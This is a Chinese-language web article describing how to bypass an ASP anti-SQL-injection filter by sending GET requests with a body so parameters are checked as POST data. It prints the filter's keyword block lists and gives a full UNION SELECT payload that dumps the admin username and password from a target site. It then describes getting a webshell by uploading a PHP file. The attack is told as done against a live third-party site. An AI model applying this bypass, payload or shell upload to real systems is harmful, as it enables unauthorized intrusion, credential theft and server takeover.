利用Request對(duì)象的包解析漏洞繞過(guò)防注入程序

<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定義部份 頭----------------------------------------------------------------------
Err_Message = 1 '處理方式:1=提示信息,2=轉(zhuǎn)向頁(yè)面,3=先提示再轉(zhuǎn)向
Err_Web = "Err.Asp" '出錯(cuò)時(shí)轉(zhuǎn)向的頁(yè)面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在這部份定義get非法參數(shù),使用"∥"號(hào)間隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在這部份定義post非法參數(shù),使用"∥"號(hào)間隔
'------定義部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 對(duì) get query 值 的過(guò)濾.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出現(xiàn)關(guān)鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "傳參錯(cuò)誤!參數(shù) "&name&" 的值中包含非法字符串!\n\n請(qǐng)不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('傳參錯(cuò)誤!參數(shù) "&name&"的值中包含非法字符串!\n\n請(qǐng)不要在參數(shù)中出現(xiàn):and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----對(duì) post 表 單值的過(guò)濾.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出現(xiàn)關(guān)鍵詞" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出錯(cuò)了!表單 "&name&" 的值中包含非法字符串!\n\n請(qǐng)不要在表單中出現(xiàn): % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出錯(cuò)了!參數(shù) "&name&"的值中包含非法字符串!\n\n請(qǐng)不要在表單中出現(xiàn): % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
可以看出其對(duì)GET請(qǐng)求發(fā)送的參數(shù) 過(guò)濾的非常的嚴(yán)格 ,但是對(duì)于POST發(fā)送的參數(shù)卻只過(guò)濾了幾個(gè)符號(hào) ,這個(gè)很好繞過(guò)的 ,但是downloadshow.asp 只接受GET 發(fā)送過(guò)來(lái)的參數(shù)啊 ,這該如何繞過(guò)?這里就要使用 asp 和 aspx 的Request對(duì)象的包解析漏洞,即像下面的形式發(fā)送的內(nèi)容 ,使用 request對(duì)象仍然可以獲取正確的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX
ID=111
然后 downloadshow.asp 中 使用request("ID")仍然可以獲取正確的ID值 ,和直接 GET?。痙ownloadshow.asp?ID=111 的效果是一樣的,但是這樣的話 對(duì)于上面的那個(gè) sql 注入檢測(cè)程序 ,卻會(huì)把這樣的數(shù)據(jù)當(dāng)作是POST提交的數(shù)據(jù) ,再加上不到位的檢測(cè) ,sql注入漏洞就產(chǎn)生了,如下圖所示:



這里有個(gè)技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的數(shù)據(jù) 。
好了 本地成功了 我們拿到目標(biāo)站來(lái)試試效果
來(lái)到 downloadshow.asp 頁(yè)面 提交POST 數(shù)據(jù)
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理員的用戶名密碼
然后就是后臺(tái)拿shell了 ,現(xiàn)在我們是管理員了而且已經(jīng)登錄, 那我們?cè)賮?lái) 試試雙文件上傳 悲劇的發(fā)現(xiàn) 對(duì)于 在后綴后面加空格的方法繞過(guò)后綴檢測(cè)已經(jīng)無(wú)效了,無(wú)懼的上傳組建會(huì)檢測(cè) asp asa aspx 3種后綴 ,那么對(duì)于 asp 的站 可以試試 cer ,悲劇的是cer這個(gè)站不支持。。又看到有數(shù)據(jù)庫(kù)備份 ,看看 數(shù)據(jù)庫(kù)的路徑和名字都不可改寫(xiě) 這個(gè)好辦 使用 firebug 改成我上傳的圖片路徑 然后備份文件填寫(xiě)1.asp 提交,本地抓下包 發(fā)現(xiàn)原始數(shù)據(jù)庫(kù)的路徑并未當(dāng)作參賽提交 無(wú)語(yǔ)了 ……果然 像我開(kāi)頭說(shuō)的那樣雖然是垃圾站 但是經(jīng)過(guò)這么多年被黑,各種小洞都補(bǔ)了 。。無(wú)奈 試試其他腳本類型吧 上傳個(gè) php ,還好服務(wù)器支持php ,shell 到手了。
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來(lái)介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒(méi)有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)
這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫(xiě)程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過(guò)技術(shù) XSS插入繞過(guò)一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類2016-12-27Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08